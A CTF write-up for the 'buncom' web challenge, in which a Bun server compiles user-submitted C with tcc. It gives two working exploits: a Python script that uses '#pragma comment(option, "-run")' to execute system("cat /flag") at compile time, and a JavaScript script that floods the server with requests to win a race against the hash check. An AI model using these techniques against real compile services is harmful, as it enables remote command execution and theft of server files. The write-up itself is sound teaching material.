Skip to content

Latest commit

 

History

History

buncom

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

buncom

  • Category: Web, Misc
  • Score: 500 / 500
  • Solves: 3 / 830
  • First blood: TAS.Dihydro_Monoxide

Note

This challenge is inspired by Echo as a Service. Much thanks to lebr0nli!

Description

Did Bun fix shell injection? Find out in hitcon eaas the sequel!

handout_buncom.zip

Overview

Upon launching an instance you can see a code editor and a submit button

After further inspection using the given index.js file, lets break down the flow of the website:

  • Compile default.c and save the md5 hash of the output binary.
import { $ } from "bun";

const src = "/tmp/custom.c", exe = "/tmp/a.out"

let hash = await $`
  cp default.c ${src};
  timeout 0.1 tcc ${src} -o ${exe};
  timeout 0.1 md5sum ${exe}`.text(), output = ""

This is just a simple misdirection, I don't actually think you can construct an another file with the same md5sum, especially using binary output format but I'm happy to be proven wrong!

  • Serve the http website on port 1337 using bun
const server = Bun.serve({
  host: "0.0.0.0",
  port: 1337,
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/") {
  • If the parameter code exists, write its content to $src and compile to $exe using tcc
const code = (new URLSearchParams(url.search)).get('code')
if (code) {
  try {
    output = await $`echo ${code} > ${src}; timeout 0.1 tcc ${src} -o ${exe}`.text()
  } catch (err) {
    output = err.stderr.toString();
  }
}

Again, a misdirection. There isn't any bun command injection to my knowledge but if you found a 0day you deserve the flag anyway!

  • Compare md5 hash of the binary. If the hash is different, recompile using tcc default.c
if (await $`timeout 0.1 md5sum ${exe}`.text() !== hash) {
  await $`timeout 0.1 tcc default.c -o ${exe}`.text();
  output = `md5sum ${exe} != ` + hash;
}
  • Finally, return the content from the binary as text/html (See default.c)
let html = await $`${exe}`.text()
html = html.replace('__CODE__', Bun.escapeHTML(await Bun.file(src).text()))
return new Response(output + html, {
  headers: {
    "Content-Type": "text/html; charset=utf-8",
    "Content-Security-Policy": "script-src 'self'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script';"
  }
});

Let's try to include the flag

Hmm tcc seems to output very little compile error details

Since we know the flag format, we can try to make the flag include-valid:

This doesn't output the full flag because it contains special characters

You can keep playing with #define but I don't think it's possible to leak the part that contains a single ' as it breaks tcc parsing. For reference you can see the full flag

An another idea is try to make it compile error or not based on the content of the flag. There's an excellent writeup for hxp compilerbot. However, this doesn't work because tcc doesn't support .incbin in the first place

Solution

Intended solution

Since this challenge ran tcc instead of gcc or clang, it makes sense to look at the help page:

> tcc -h
Tiny C Compiler 0.9.28rc - Copyright (C) 2001-2006 Fabrice Bellard
Usage: tcc [options...] [-o outfile] [-c] infile(s)...
       tcc [options...] -run infile (or --) [arguments...]
General options:
  -c           compile only - generate an object file
  -o outfile   set output filename
  -run         run compiled source

What if we can run code during compile time in tcc? If we can override the tcc compiler flag to add -run that would be great! That way the md5sum will stay the same

Maybe something similar to #pragma GCC optimize "-Ofast"?

Notice these 3 lines in Dockerfile, tcc was installed from source

RUN apt update && apt install git gcc make -y
RUN git clone --depth=1 https://github.com/TinyCC/tinycc.git tinycc
RUN cd tinycc && ./configure --prefix=/usr && make && make install

This gives us the motivation to look at the latest source code tinycc/tests/tests2/60_errors_and_warnings.c

#pragma comment(option, "-Wall")
#elif defined test_switch_W2
#pragma comment(option, "-Wunsupported -Wno-implicit-function-declaration -Wstuff")
#elif defined test_switch_W3
#pragma comment(option, "-Wwrite-strings -Werror=discarded-qualifiers")
#elif defined test_switch_W4
#pragma comment(option, "-Wunsupported -Wno-error=implicit-function-declaration -Werror")

Ah there it is, you can add the compiler flags during compile time! Which means it will probably works for all options too and specifically #pragma comment(option, "-run")

solve.py

URL = "http://localhost:1337/"
URL = "http://5b964bb4-10f6-4d1b-a191-a1e4578261b7.bugg.cc/"

import requests, urllib

code = """
#pragma comment(option, "-run")

int main() {
  system("cat /flag");
}
"""

print(requests.get(f"{URL}?code=" + urllib.parse.quote(code)).text)
> python solve.py
CSCTF{I_tried_so_hard:(_and_got_so_far._But_in_the_end,_/flag_doesn't_even_matter!4ZeR18AXbDlZvKor91No}

Note

But why would we compile from source when we can just install tcc using apt install tcc -y? The reason is that oven/bun:slim uses debian under the hood and they shipped a broken version of tcc. This will make #pragma deadlock with tcc_warning()

Unintended solution 😭

Fun fact, all 3 solves in this ctf were unintended using race condition.

Because the fetch function is async, if you spam enough requests the website flow might look like this:

await $`timeout 0.1 tcc ${src} -o ${exe}`
return new Response(await $`${exe}`.text())

As you can see it completely bypassed the hash check, just spam requests until you get the above scenario:

solve_race.js

let URL = "http://localhost:1337/"
URL = "https://43b64d26-d839-427d-92b2-68cf49cde759.bugg.cc"

for (let i = 0; i < 1000; i++) fetch(`${URL}?code=${encodeURIComponent('main() { system("cat /flag"); }')}`).then(res => res.text()).then(text => { if (text.includes('CSCTF')) console.log(text) });
> bun solve_race.js
CSCTF{I_tried_so_hard:(_and_got_so_far._But_in_the_end,_/flag_doesn't_even_matter!4ZeR18AXbDlZvKor91No}

Solution by t-rekttt which is also a first blood, congratulations!

t-rekttt also gave idea on how to prevent race condition, thank you so much!